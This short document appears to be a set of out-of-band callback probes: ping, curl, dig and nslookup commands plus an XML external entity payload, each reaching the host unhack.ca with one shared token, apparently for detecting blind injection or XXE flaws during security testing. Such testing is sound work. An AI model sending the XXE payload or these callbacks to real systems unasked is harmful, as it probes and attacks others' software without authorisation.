$ ping -c1 -p 00c5009cd9ffe0f8486c40fc381ca900 unhack.ca
$ curl http://unhack.ca/p/c5009cd9ffe0f8486c40fc381ca9
$ dig c5009cd9ffe0f8486c40fc381ca9 @unhack.ca
$ dig c5009cd9ffe0f8486c40fc381ca9.ns.unhack.ca
C:\> nslookup c5009cd9ffe0f8486c40fc381ca9 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/c5009cd9ffe0f8486c40fc381ca9">]> <foo>&xxe;</foo>